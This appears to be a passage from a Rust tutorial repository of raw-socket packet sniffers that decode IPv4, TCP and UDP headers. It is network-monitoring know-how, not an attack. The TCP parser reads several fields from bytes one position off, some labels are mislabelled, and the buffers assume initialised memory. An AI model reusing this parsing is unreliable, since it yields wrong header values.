destination_port = u16::from_be_bytes([buffer[2], buffer[3]]); 28 | let sequence_number = u32::from_be_bytes([buffer[4], buffer[5], buffer[6], buffer[7]]); 29 | let acknowledgment_number = 30 | u32::from_be_bytes([buffer[8], buffer[9], buffer[10], buffer[11]]); 31 | let data_offset = (buffer[12] >> 4) * 4; // The top 4 bits represent the data offset 32 | let reserved = buffer[12] & 0b00001111; 33 | let flags = u16::from_be_bytes([buffer[13], buffer[14]]); 34 | let window_size = u16::from_be_bytes([buffer[15], buffer[16]]); 35 | let checksum = u16::from_be_bytes([buffer[17], buffer[18]]); 36 | let urgent_pointer = u16::from_be_bytes([buffer[19], buffer[20]]); 37 | 38 | TCP { 39 | source_port, 40 | destination_port, 41 | sequence_number, 42 | acknowledgment_number, 43 | data_offset, 44 | reserved, 45 | flags, 46 | window_size, 47 | checksum, 48 | urgent_pointer, 49 | } 50 | } 51 | } 52 | 53 | #[allow(dead_code)] 54 | struct IP { 55 | ver_ihl: u8, 56 | tos: u8, 57 | len: u16, 58 | id: u16, 59 | offset: u16, 60 | ttl: u8, 61 | protocol_num: u8, 62 | sum: u16, 63 | src: u32, 64 | dst: u32, 65 | } 66 | 67 | #[allow(dead_code)] 68 | impl IP { 69 | fn new(buff: &[u8]) -> Option { 70 | if buff.len() >= 20 { 71 | let header = IP { 72 | ver_ihl: buff[0], 73 | tos: buff[1], 74 | len: u16::from_be_bytes([buff[2], buff[3]]), 75 | id: u16::from_be_bytes([buff[4], buff[5]]), 76 | offset: u16::from_be_bytes([buff[6], buff[7]]), 77 | ttl: buff[8], 78 | protocol_num: buff[9], 79 | sum: u16::from_be_bytes([buff[10], buff[11]]), 80 | src: u32::from_be_bytes([buff[12], buff[13], buff[14], buff[15]]), 81 | dst: u32::from_be_bytes([buff[16], buff[17], buff[18], buff[19]]), 82 | }; 83 | 84 | Some(header) 85 | } else { 86 | None 87 | } 88 | } 89 | 90 | fn protocol(&self) -> String { 91 | // Refer to ---> https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 92 | match self.protocol_num { 93 | 0 => String::from("HOPOPT"), 94 | 1 => String::from("ICMP"), 95 | 2 => String::from("IGMP"), 96 | 3 => String::from("GGP"), 97 | 4 => String::from("IPv4"), 98 | 5 => String::from("ST"), 99 | 6 => String::from("TCP"), 100 | 7 => String::from("CBT"), 101 | 8 => String::from("EGP"), 102 | 9 => String::from("IGP"), 103 | 10 => String::from("BBN-RCC-MON"), 104 | 11 => String::from("NVP-II"), 105 | 12 => String::from("PUP"), 106 | 13 => String::from("ARGUS"), 107 | 14 => String::from("EMCON"), 108 | 15 => String::from("XNET"), 109 | 16 => String::from("CHAOS"), 110 | 17 => String::from("UDP"), 111 | 18 => String::from("MUX"), 112 | 19 => String::from("DCN-MEAS"), 113 | 20 => String::from("HMP"), 114 | 21 => String::from("PRM"), 115 | 22 => String::from("XNS-IDP"), 116 | 23 => String::from("TRUNK-1"), 117 | 24 => String::from("TRUNK-2"), 118 | 25 => String::from("LEAF-1"), 119 | 26 => String::from("LEAF-2"), 120 | 27 => String::from("RDP"), 121 | 28 => String::from("IRTP"), 122 | 29 => String::from("ISO-TP4"), 123 | 30 => String::from("NETBLT"), 124 | 31 => String::from("MFE-NSP"), 125 | 32 => String::from("MERIT-INP"), 126 | 33 => String::from("DCCP"), 127 | 34 => String::from("3PC"), 128 | 35 => String::from("IDPR"), 129 | 36 => String::from("XTP"), 130 | 37 => String::from("DDP"), 131 | 38 => String::from("IDPR-CMTP"), 132 | 39 => String::from("TP++"), 133 | 40 => String::from("IL"), 134 | 41 => String::from("IPv6"), 135 | 42 => String::from("SDRP"), 136 | 43 => String::from("IPv6-Route"), 137 | 44 => String::from("IPv6-Frag"), 138 | 45 => String::from("IDRP"), 139 | 46 => String::from("RSVP"), 140 | 47 => String::from("GRE"), 141 | 48 => String::from("DSR"), 142 | 49 => String::from("BNA"), 143 | 50 => String::from("ESP"), 144 | 51 => String::from("AH"), 145 | 52 => String::from("I-NLSP"), 146 | 53 => String::from("SWIPE (deprecated)"), 147 | 54 => String::from("NARP"), 148 | 55 => String::from("MOBILE"), 149 | 56 => String::from("TLSP"), 150 | 57 => String::from("SKIP"), 151 | 58 => String::from("IPv6-ICMP"), 152 | 59 => String::from("IPv6-NoNxt"), 153 | 60 => String::from("IPv6-Opts"), 154 | 61 => String::from("any host internal protocol"), 155 | 62 => String::from("CFTP"), 156 | 63 => String::from("any local network"), 157 | 64 => String::from("SAT-EXPAK"), 158 | 65 => String::from("KRYPTOLAN"), 159 | 66 => String::from("RVD"), 160 | 67 => String::from("IPPC"), 161 | 68 => String::from("any distributed file system"), 162 | 69 => String::from("SAT-MON"), 163 | 70 => String::from("VISA"), 164 | 71 => String::from("IPCV"), 165 | 72 => String::from("CPNX"), 166 | 73 => String::from("CPHB"), 167 | 74 => String::from("WSN"), 168 | 75 => String::from("PVP"), 169 | 76 => String::from("BR-SAT-MON"), 170 | 77 => String::from("SUN-ND"), 171 | 78 => String::from("WB-MON"), 172 | 79 => String::from("WB-EXPAK"), 173 | 80 => String::from("ISO-IP"), 174 | 81 => String::from("VMTP"), 175 | 82 => String::from("SECURE-VMTP"), 176 | 83 => String::from("VINES"), 177 | 84 => String::from("IPTM"), 178 | 85 => String::from("NSFNET-IGP"), 179 | 86 => String::from("DGP"), 180 | 87 => String::from("TCF"), 181 | 88 => String::from("EIGRP"), 182 | 89 => String::from("OSPFIGP"), 183 | 90 => String::from("Sprite-RPC"), 184 | 91 => String::from("LARP"), 185 | 92 => String::from("MTP"), 186 | 93 => String::from("AX.25"), 187 | 94 => String::from("IPIP"), 188 | 95 => String::from("MICP (deprecated)"), 189 | 96 => String::from("SCC-SP"), 190 | 97 => String::from("ETHERIP"), 191 | 98 => String::from("ENCAP"), 192 | 100 => String::from("GMTP"), 193 | 101 => String::from("IFMP"), 194 | 102 => String::from("PNNI"), 195 | 103 => String::from("PIM"), 196 | 104 => String::from("ARIS"), 197 | 105 => String::from("SCPS"), 198 | 106 => String::from("QNX"), 199 | 107 => String::from("A/N"), 200 | 108 => String::from("IPComp"), 201 | 109 => String::from("SNP"), 202 | 110 => String::from("Compaq-Peer"), 203 | 111 => String::from("IPX-in-IP"), 204 | 112 => String::from("VRRP"), 205 | 113 => String::from("PGM"), 206 | 114 => String::from("any 0-hop protocol"), 207 | 115 => String::from("L2TP"), 208 | 116 => String::from("DDX"), 209 | 117 => String::from("IATP"), 210 | 118 => String::from("STP"), 211 | 119 => String::from("SRP"), 212 | 120 => String::from("UTI"), 213 | 121 => String::from("SMP"), 214 | 122 => String::from("SM (deprecated)"), 215 | 123 => String::from("PTP"), 216 | 124 => String::from("ISIS over IPv4"), 217 | 125 => String::from("FIRE"), 218 | 126 => String::from("CRTP"), 219 | 127 => String::from("CRUDP"), 220 | 128 => String::from("SSCOPMCE"), 221 | 129 => String::from("IPLT"), 222 | 130 => String::from("SPS"), 223 | 131 => String::from("PIPE"), 224 | 132 => String::from("SCTP"), 225 | 133 => String::from("FC"), 226 | 134 => String::from("RSVP-E2E-IGNORE"), 227 | 135 => String::from("Mobility Header"), 228 | 136 => String::from("UDPLite"), 229 | 137 => String::from("MPLS-in-IP"), 230 | 138 => String::from("manet"), 231 | 139 => String::from("HIP"), 232 | 140 => String::from("Shim6"), 233 | 141 => String::from("WESP"), 234 | 142 => String::from("ROHC"), 235 | 143 => String::from("Ethernet"), 236 | 144 => String::from("AGGFRAG"), 237 | 145 => String::from("NSH"), 238 | 146..=252 => String::from("Unassigned"), 239 | 253 => String::from("Use for experimentation and testing"), 240 | 254 => String::from("Use for experimentation and testing"), 241 | 255 => String::from("Reserved"), 242 | _ => format!("{}", self.protocol_num), 243 | } 244 | } 245 | 246 | fn src_address(&self) -> String { 247 | Ipv4Addr::from(self.src).to_string() 248 | } 249 | 250 | fn dst_address(&self) -> String { 251 | Ipv4Addr::from(self.dst).to_string() 252 | } 253 | 254 | fn offset(&self) -> String { 255 | self.offset.to_string() 256 | } 257 | 258 | fn ttl(&self) -> String { 259 | self.ttl.to_string() 260 | } 261 | 262 | fn ver(&self) -> String { 263 | self.ver_ihl.to_string() 264 | } 265 | 266 | fn len(&self) -> String { 267 | self.len.to_string() 268 | } 269 | } 270 | 271 | fn sniff(address: SocketAddr) { 272 | let socket_protocol = if cfg!(target_os = "windows") { 273 | 0 274 | } else { 275 | 6 // TCP 276 | }; 277 | 278 | let sniffer = socket2::Socket::new( 279 | socket2::Domain::IPV4, 280 | socket2::Type::RAW, 281 | Some(socket2::Protocol::from(socket_protocol)), 282 | ) 283 | .unwrap(); 284 | 285 | sniffer.bind(&address.into()).unwrap(); 286 | 287 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 288 | loop { 289 | let _length = sniffer.recv_from(&mut buffer).unwrap(); 290 | let raw_buffer: &[u8] = 291 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 292 | 293 | if raw_buffer.len() < IPV4_HEADER_SIZE + TCP_HEADER_SIZE { 294 | eprintln!("Invalid packet: too short"); 295 | continue; 296 | } 297 | // Create an IP header from the first 20 bytes 298 | let ip_header = match IP::new(&raw_buffer[..IPV4_HEADER_SIZE]) { 299 | Some(header) => header, 300 | None => continue, 301 | }; 302 | 303 | println!( 304 | "\nProtocol: {} {} -> {}", 305 | "TCP", 306 | ip_header.src_address(), 307 | ip_header.dst_address() 308 | ); 309 | 310 | println!("Version: {}", ip_header.ver()); 311 | 312 | println!( 313 | "Header Length: {} TTL: {}", 314 | ip_header.len(), 315 | ip_header.ttl() 316 | ); 317 | let tcp_header = 318 | TCP::new(&raw_buffer[IPV4_HEADER_SIZE..IPV4_HEADER_SIZE + TCP_HEADER_SIZE + 1]); 319 | 320 | // Print or process TCP header information 321 | println!("Source Port: {}", tcp_header.source_port); 322 | println!("Destination Port: {}", tcp_header.destination_port); 323 | println!("Sequence Number: {}", tcp_header.sequence_number); 324 | println!( 325 | "Acknowledgment Number: {}", 326 | tcp_header.acknowledgment_number 327 | ); 328 | println!("Data Offset: {}", tcp_header.data_offset); 329 | println!("Reserved: {}", tcp_header.reserved); 330 | println!("Flags: {}", tcp_header.flags); 331 | println!("Window Size: {}", tcp_header.window_size); 332 | println!("Checksum: {}", tcp_header.checksum); 333 | println!("Urgent Pointer: {}", tcp_header.urgent_pointer); 334 | } 335 | } 336 | 337 | fn main() { 338 | let socket = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 12345); 339 | 340 | sniff(socket); 341 | } 342 | -------------------------------------------------------------------------------- /chapter-1/decoding-the-essence-of-udp/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "decoding-the-essence-of-udp" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | 11 | -------------------------------------------------------------------------------- /chapter-1/decoding-the-essence-of-udp/src/main.rs: -------------------------------------------------------------------------------- 1 | use socket2::{Domain, Protocol, Socket, Type}; 2 | use std::io::Result; 3 | use std::mem::MaybeUninit; 4 | use std::net::SocketAddr; 5 | 6 | fn main() -> Result<()> { 7 | // Define the host to listen on 8 | let host: SocketAddr = "0.0.0.0:12345".parse().unwrap(); 9 | 10 | // Create a raw socket, bind to the public interface 11 | let socket_protocol = if cfg!(target_os = "windows") { 0 } else { 1 }; 12 | 13 | let sniffer = Socket::new( 14 | Domain::IPV4, 15 | Type::RAW, 16 | Some(Protocol::from(socket_protocol)), 17 | )?; 18 | 19 | sniffer.bind(&host.into())?; 20 | 21 | // Read one packet 22 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 23 | let _ = sniffer.recv_from(&mut buffer)?; 24 | let raw_buffer: &[u8] = 25 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 26 | 27 | // Print the first 120 bytes of the captured packet 28 | println!("{:?}", &raw_buffer[..120]); 29 | 30 | Ok(()) 31 | } 32 | -------------------------------------------------------------------------------- /chapter-1/decoding-the-ip-header/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "decoding-the-ip-header" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | 11 | -------------------------------------------------------------------------------- /chapter-1/decoding-the-ip-header/src/main.rs: -------------------------------------------------------------------------------- 1 | use socket2::{Domain, Protocol, Socket, Type}; 2 | use std::io::Result; 3 | use std::mem::MaybeUninit; 4 | use std::net::Ipv4Addr; 5 | use std::net::SocketAddr; 6 | 7 | #[allow(dead_code)] 8 | struct IP { 9 | ver_ihl: u8, 10 | tos: u8, 11 | len: u16, 12 | id: u16, 13 | offset: u16, 14 | ttl: u8, 15 | protocol_num: u8, 16 | sum: u16, 17 | src: u32, 18 | dst: u32, 19 | } 20 | 21 | #[allow(dead_code)] 22 | impl IP { 23 | fn new(buff: &[u8]) -> Option { 24 | if buff.len() >= 20 { 25 | let header = IP { 26 | ver_ihl: buff[0], 27 | tos: buff[1], 28 | len: u16::from_be_bytes([buff[2], buff[3]]), 29 | id: u16::from_be_bytes([buff[4], buff[5]]), 30 | offset: u16::from_be_bytes([buff[6], buff[7]]), 31 | ttl: buff[8], 32 | protocol_num: buff[9], 33 | sum: u16::from_be_bytes([buff[10], buff[11]]), 34 | src: u32::from_be_bytes([buff[12], buff[13], buff[14], buff[15]]), 35 | dst: u32::from_be_bytes([buff[16], buff[17], buff[18], buff[19]]), 36 | }; 37 | 38 | Some(header) 39 | } else { 40 | None 41 | } 42 | } 43 | 44 | fn protocol(&self) -> String { 45 | // Refer to ---> https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 46 | match self.protocol_num { 47 | 0 => String::from("HOPOPT"), 48 | 1 => String::from("ICMP"), 49 | 2 => String::from("IGMP"), 50 | 3 => String::from("GGP"), 51 | 4 => String::from("IPv4"), 52 | 5 => String::from("ST"), 53 | 6 => String::from("TCP"), 54 | 7 => String::from("CBT"), 55 | 8 => String::from("EGP"), 56 | 9 => String::from("IGP"), 57 | 10 => String::from("BBN-RCC-MON"), 58 | 11 => String::from("NVP-II"), 59 | 12 => String::from("PUP"), 60 | 13 => String::from("ARGUS"), 61 | 14 => String::from("EMCON"), 62 | 15 => String::from("XNET"), 63 | 16 => String::from("CHAOS"), 64 | 17 => String::from("UDP"), 65 | 18 => String::from("MUX"), 66 | 19 => String::from("DCN-MEAS"), 67 | 20 => String::from("HMP"), 68 | 21 => String::from("PRM"), 69 | 22 => String::from("XNS-IDP"), 70 | 23 => String::from("TRUNK-1"), 71 | 24 => String::from("TRUNK-2"), 72 | 25 => String::from("LEAF-1"), 73 | 26 => String::from("LEAF-2"), 74 | 27 => String::from("RDP"), 75 | 28 => String::from("IRTP"), 76 | 29 => String::from("ISO-TP4"), 77 | 30 => String::from("NETBLT"), 78 | 31 => String::from("MFE-NSP"), 79 | 32 => String::from("MERIT-INP"), 80 | 33 => String::from("DCCP"), 81 | 34 => String::from("3PC"), 82 | 35 => String::from("IDPR"), 83 | 36 => String::from("XTP"), 84 | 37 => String::from("DDP"), 85 | 38 => String::from("IDPR-CMTP"), 86 | 39 => String::from("TP++"), 87 | 40 => String::from("IL"), 88 | 41 => String::from("IPv6"), 89 | 42 => String::from("SDRP"), 90 | 43 => String::from("IPv6-Route"), 91 | 44 => String::from("IPv6-Frag"), 92 | 45 => String::from("IDRP"), 93 | 46 => String::from("RSVP"), 94 | 47 => String::from("GRE"), 95 | 48 => String::from("DSR"), 96 | 49 => String::from("BNA"), 97 | 50 => String::from("ESP"), 98 | 51 => String::from("AH"), 99 | 52 => String::from("I-NLSP"), 100 | 53 => String::from("SWIPE (deprecated)"), 101 | 54 => String::from("NARP"), 102 | 55 => String::from("MOBILE"), 103 | 56 => String::from("TLSP"), 104 | 57 => String::from("SKIP"), 105 | 58 => String::from("IPv6-ICMP"), 106 | 59 => String::from("IPv6-NoNxt"), 107 | 60 => String::from("IPv6-Opts"), 108 | 61 => String::from("any host internal protocol"), 109 | 62 => String::from("CFTP"), 110 | 63 => String::from("any local network"), 111 | 64 => String::from("SAT-EXPAK"), 112 | 65 => String::from("KRYPTOLAN"), 113 | 66 => String::from("RVD"), 114 | 67 => String::from("IPPC"), 115 | 68 => String::from("any distributed file system"), 116 | 69 => String::from("SAT-MON"), 117 | 70 => String::from("VISA"), 118 | 71 => String::from("IPCV"), 119 | 72 => String::from("CPNX"), 120 | 73 => String::from("CPHB"), 121 | 74 => String::from("WSN"), 122 | 75 => String::from("PVP"), 123 | 76 => String::from("BR-SAT-MON"), 124 | 77 => String::from("SUN-ND"), 125 | 78 => String::from("WB-MON"), 126 | 79 => String::from("WB-EXPAK"), 127 | 80 => String::from("ISO-IP"), 128 | 81 => String::from("VMTP"), 129 | 82 => String::from("SECURE-VMTP"), 130 | 83 => String::from("VINES"), 131 | 84 => String::from("IPTM"), 132 | 85 => String::from("NSFNET-IGP"), 133 | 86 => String::from("DGP"), 134 | 87 => String::from("TCF"), 135 | 88 => String::from("EIGRP"), 136 | 89 => String::from("OSPFIGP"), 137 | 90 => String::from("Sprite-RPC"), 138 | 91 => String::from("LARP"), 139 | 92 => String::from("MTP"), 140 | 93 => String::from("AX.25"), 141 | 94 => String::from("IPIP"), 142 | 95 => String::from("MICP (deprecated)"), 143 | 96 => String::from("SCC-SP"), 144 | 97 => String::from("ETHERIP"), 145 | 98 => String::from("ENCAP"), 146 | 100 => String::from("GMTP"), 147 | 101 => String::from("IFMP"), 148 | 102 => String::from("PNNI"), 149 | 103 => String::from("PIM"), 150 | 104 => String::from("ARIS"), 151 | 105 => String::from("SCPS"), 152 | 106 => String::from("QNX"), 153 | 107 => String::from("A/N"), 154 | 108 => String::from("IPComp"), 155 | 109 => String::from("SNP"), 156 | 110 => String::from("Compaq-Peer"), 157 | 111 => String::from("IPX-in-IP"), 158 | 112 => String::from("VRRP"), 159 | 113 => String::from("PGM"), 160 | 114 => String::from("any 0-hop protocol"), 161 | 115 => String::from("L2TP"), 162 | 116 => String::from("DDX"), 163 | 117 => String::from("IATP"), 164 | 118 => String::from("STP"), 165 | 119 => String::from("SRP"), 166 | 120 => String::from("UTI"), 167 | 121 => String::from("SMP"), 168 | 122 => String::from("SM (deprecated)"), 169 | 123 => String::from("PTP"), 170 | 124 => String::from("ISIS over IPv4"), 171 | 125 => String::from("FIRE"), 172 | 126 => String::from("CRTP"), 173 | 127 => String::from("CRUDP"), 174 | 128 => String::from("SSCOPMCE"), 175 | 129 => String::from("IPLT"), 176 | 130 => String::from("SPS"), 177 | 131 => String::from("PIPE"), 178 | 132 => String::from("SCTP"), 179 | 133 => String::from("FC"), 180 | 134 => String::from("RSVP-E2E-IGNORE"), 181 | 135 => String::from("Mobility Header"), 182 | 136 => String::from("UDPLite"), 183 | 137 => String::from("MPLS-in-IP"), 184 | 138 => String::from("manet"), 185 | 139 => String::from("HIP"), 186 | 140 => String::from("Shim6"), 187 | 141 => String::from("WESP"), 188 | 142 => String::from("ROHC"), 189 | 143 => String::from("Ethernet"), 190 | 144 => String::from("AGGFRAG"), 191 | 145 => String::from("NSH"), 192 | 146..=252 => String::from("Unassigned"), 193 | 253 => String::from("Use for experimentation and testing"), 194 | 254 => String::from("Use for experimentation and testing"), 195 | 255 => String::from("Reserved"), 196 | _ => format!("{}", self.protocol_num), 197 | } 198 | } 199 | 200 | fn src_address(&self) -> String { 201 | Ipv4Addr::from(self.src).to_string() 202 | } 203 | 204 | fn dst_address(&self) -> String { 205 | Ipv4Addr::from(self.dst).to_string() 206 | } 207 | 208 | fn offset(&self) -> String { 209 | self.offset.to_string() 210 | } 211 | 212 | fn ttl(&self) -> String { 213 | self.ttl.to_string() 214 | } 215 | 216 | fn ver(&self) -> String { 217 | self.ver_ihl.to_string() 218 | } 219 | 220 | fn len(&self) -> String { 221 | self.len.to_string() 222 | } 223 | } 224 | 225 | fn main() -> Result<()> { 226 | // Define the host to listen on 227 | let host: SocketAddr = "0.0.0.0:12345".parse().unwrap(); 228 | 229 | let socket_protocol = if cfg!(target_os = "windows") { 0 } else { 1 }; 230 | 231 | // Create a raw socket 232 | let sniffer = Socket::new( 233 | Domain::IPV4, 234 | Type::RAW, 235 | Some(Protocol::from(socket_protocol)), 236 | )?; 237 | // bind to the public interface 238 | sniffer.bind(&host.into())?; 239 | 240 | // Read one packet 241 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 242 | 243 | loop { 244 | let _ = sniffer.recv_from(&mut buffer)?; 245 | let raw_buffer: &[u8] = 246 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 247 | 248 | if raw_buffer.len() < 20 { 249 | eprintln!("Invalid packet: too short"); 250 | continue; 251 | } 252 | 253 | // Create an IP header from the first 20 bytes 254 | let ip_header = match IP::new(&raw_buffer[..20]) { 255 | Some(header) => header, 256 | None => { 257 | eprintln!("Failed to parse IP header"); 258 | continue; 259 | } 260 | }; 261 | 262 | println!( 263 | "Protocol: {} {} -> {}", 264 | "ICMP", 265 | ip_header.src_address(), 266 | ip_header.dst_address() 267 | ); 268 | println!("Version: {}", ip_header.ver()); 269 | println!( 270 | "Header Length: {} TTL: {}", 271 | ip_header.len(), 272 | ip_header.ttl() 273 | ); 274 | } 275 | } 276 | -------------------------------------------------------------------------------- /chapter-1/decoding-udp-packets/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "decoding-udp-packets" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | 11 | -------------------------------------------------------------------------------- /chapter-1/decoding-udp-packets/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::mem::MaybeUninit; 2 | use std::net::SocketAddr; 3 | use std::net::{IpAddr, Ipv4Addr}; 4 | 5 | // Constant for IP header size 6 | const IPV4_HEADER_SIZE: usize = 20; 7 | 8 | // Constants for UDP header size 9 | const UDP_HEADER_SIZE: usize = 8; 10 | 11 | struct UDP { 12 | source_port: u16, 13 | destination_port: u16, 14 | length: u16, 15 | checksum: u16, 16 | } 17 | 18 | impl UDP { 19 | fn new(buffer: &[u8]) -> Self { 20 | // Parse the UDP header fields from the buffer 21 | let source_port = u16::from_be_bytes([buffer[0], buffer[1]]); 22 | let destination_port = u16::from_be_bytes([buffer[2], buffer[3]]); 23 | let length = u16::from_be_bytes([buffer[4], buffer[5]]); 24 | let checksum = u16::from_be_bytes([buffer[6], buffer[7]]); 25 | 26 | UDP { 27 | source_port, 28 | destination_port, 29 | length, 30 | checksum, 31 | } 32 | } 33 | } 34 | 35 | #[allow(dead_code)] 36 | struct IP { 37 | ver_ihl: u8, 38 | tos: u8, 39 | len: u16, 40 | id: u16, 41 | offset: u16, 42 | ttl: u8, 43 | protocol_num: u8, 44 | sum: u16, 45 | src: u32, 46 | dst: u32, 47 | } 48 | 49 | #[allow(dead_code)] 50 | impl IP { 51 | fn new(buff: &[u8]) -> Option { 52 | if buff.len() >= 20 { 53 | let header = IP { 54 | ver_ihl: buff[0], 55 | tos: buff[1], 56 | len: u16::from_be_bytes([buff[2], buff[3]]), 57 | id: u16::from_be_bytes([buff[4], buff[5]]), 58 | offset: u16::from_be_bytes([buff[6], buff[7]]), 59 | ttl: buff[8], 60 | protocol_num: buff[9], 61 | sum: u16::from_be_bytes([buff[10], buff[11]]), 62 | src: u32::from_be_bytes([buff[12], buff[13], buff[14], buff[15]]), 63 | dst: u32::from_be_bytes([buff[16], buff[17], buff[18], buff[19]]), 64 | }; 65 | 66 | Some(header) 67 | } else { 68 | None 69 | } 70 | } 71 | 72 | fn protocol(&self) -> String { 73 | // Refer to ---> https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 74 | match self.protocol_num { 75 | 0 => String::from("HOPOPT"), 76 | 1 => String::from("ICMP"), 77 | 2 => String::from("IGMP"), 78 | 3 => String::from("GGP"), 79 | 4 => String::from("IPv4"), 80 | 5 => String::from("ST"), 81 | 6 => String::from("TCP"), 82 | 7 => String::from("CBT"), 83 | 8 => String::from("EGP"), 84 | 9 => String::from("IGP"), 85 | 10 => String::from("BBN-RCC-MON"), 86 | 11 => String::from("NVP-II"), 87 | 12 => String::from("PUP"), 88 | 13 => String::from("ARGUS"), 89 | 14 => String::from("EMCON"), 90 | 15 => String::from("XNET"), 91 | 16 => String::from("CHAOS"), 92 | 17 => String::from("UDP"), 93 | 18 => String::from("MUX"), 94 | 19 => String::from("DCN-MEAS"), 95 | 20 => String::from("HMP"), 96 | 21 => String::from("PRM"), 97 | 22 => String::from("XNS-IDP"), 98 | 23 => String::from("TRUNK-1"), 99 | 24 => String::from("TRUNK-2"), 100 | 25 => String::from("LEAF-1"), 101 | 26 => String::from("LEAF-2"), 102 | 27 => String::from("RDP"), 103 | 28 => String::from("IRTP"), 104 | 29 => String::from("ISO-TP4"), 105 | 30 => String::from("NETBLT"), 106 | 31 => String::from("MFE-NSP"), 107 | 32 => String::from("MERIT-INP"), 108 | 33 => String::from("DCCP"), 109 | 34 => String::from("3PC"), 110 | 35 => String::from("IDPR"), 111 | 36 => String::from("XTP"), 112 | 37 => String::from("DDP"), 113 | 38 => String::from("IDPR-CMTP"), 114 | 39 => String::from("TP++"), 115 | 40 => String::from("IL"), 116 | 41 => String::from("IPv6"), 117 | 42 => String::from("SDRP"), 118 | 43 => String::from("IPv6-Route"), 119 | 44 => String::from("IPv6-Frag"), 120 | 45 => String::from("IDRP"), 121 | 46 => String::from("RSVP"), 122 | 47 => String::from("GRE"), 123 | 48 => String::from("DSR"), 124 | 49 => String::from("BNA"), 125 | 50 => String::from("ESP"), 126 | 51 => String::from("AH"), 127 | 52 => String::from("I-NLSP"), 128 | 53 => String::from("SWIPE (deprecated)"), 129 | 54 => String::from("NARP"), 130 | 55 => String::from("MOBILE"), 131 | 56 => String::from("TLSP"), 132 | 57 => String::from("SKIP"), 133 | 58 => String::from("IPv6-ICMP"), 134 | 59 => String::from("IPv6-NoNxt"), 135 | 60 => String::from("IPv6-Opts"), 136 | 61 => String::from("any host internal protocol"), 137 | 62 => String::from("CFTP"), 138 | 63 => String::from("any local network"), 139 | 64 => String::from("SAT-EXPAK"), 140 | 65 => String::from("KRYPTOLAN"), 141 | 66 => String::from("RVD"), 142 | 67 => String::from("IPPC"), 143 | 68 => String::from("any distributed file system"), 144 | 69 => String::from("SAT-MON"), 145 | 70 => String::from("VISA"), 146 | 71 => String::from("IPCV"), 147 | 72 => String::from("CPNX"), 148 | 73 => String::from("CPHB"), 149 | 74 => String::from("WSN"), 150 | 75 => String::from("PVP"), 151 | 76 => String::from("BR-SAT-MON"), 152 | 77 => String::from("SUN-ND"), 153 | 78 => String::from("WB-MON"), 154 | 79 => String::from("WB-EXPAK"), 155 | 80 => String::from("ISO-IP"), 156 | 81 => String::from("VMTP"), 157 | 82 => String::from("SECURE-VMTP"), 158 | 83 => String::from("VINES"), 159 | 84 => String::from("IPTM"), 160 | 85 => String::from("NSFNET-IGP"), 161 | 86 => String::from("DGP"), 162 | 87 => String::from("TCF"), 163 | 88 => String::from("EIGRP"), 164 | 89 => String::from("OSPFIGP"), 165 | 90 => String::from("Sprite-RPC"), 166 | 91 => String::from("LARP"), 167 | 92 => String::from("MTP"), 168 | 93 => String::from("AX.25"), 169 | 94 => String::from("IPIP"), 170 | 95 => String::from("MICP (deprecated)"), 171 | 96 => String::from("SCC-SP"), 172 | 97 => String::from("ETHERIP"), 173 | 98 => String::from("ENCAP"), 174 | 100 => String::from("GMTP"), 175 | 101 => String::from("IFMP"), 176 | 102 => String::from("PNNI"), 177 | 103 => String::from("PIM"), 178 | 104 => String::from("ARIS"), 179 | 105 => String::from("SCPS"), 180 | 106 => String::from("QNX"), 181 | 107 => String::from("A/N"), 182 | 108 => String::from("IPComp"), 183 | 109 => String::from("SNP"), 184 | 110 => String::from("Compaq-Peer"), 185 | 111 => String::from("IPX-in-IP"), 186 | 112 => String::from("VRRP"), 187 | 113 => String::from("PGM"), 188 | 114 => String::from("any 0-hop protocol"), 189 | 115 => String::from("L2TP"), 190 | 116 => String::from("DDX"), 191 | 117 => String::from("IATP"), 192 | 118 => String::from("STP"), 193 | 119 => String::from("SRP"), 194 | 120 => String::from("UTI"), 195 | 121 => String::from("SMP"), 196 | 122 => String::from("SM (deprecated)"), 197 | 123 => String::from("PTP"), 198 | 124 => String::from("ISIS over IPv4"), 199 | 125 => String::from("FIRE"), 200 | 126 => String::from("CRTP"), 201 | 127 => String::from("CRUDP"), 202 | 128 => String::from("SSCOPMCE"), 203 | 129 => String::from("IPLT"), 204 | 130 => String::from("SPS"), 205 | 131 => String::from("PIPE"), 206 | 132 => String::from("SCTP"), 207 | 133 => String::from("FC"), 208 | 134 => String::from("RSVP-E2E-IGNORE"), 209 | 135 => String::from("Mobility Header"), 210 | 136 => String::from("UDPLite"), 211 | 137 => String::from("MPLS-in-IP"), 212 | 138 => String::from("manet"), 213 | 139 => String::from("HIP"), 214 | 140 => String::from("Shim6"), 215 | 141 => String::from("WESP"), 216 | 142 => String::from("ROHC"), 217 | 143 => String::from("Ethernet"), 218 | 144 => String::from("AGGFRAG"), 219 | 145 => String::from("NSH"), 220 | 146..=252 => String::from("Unassigned"), 221 | 253 => String::from("Use for experimentation and testing"), 222 | 254 => String::from("Use for experimentation and testing"), 223 | 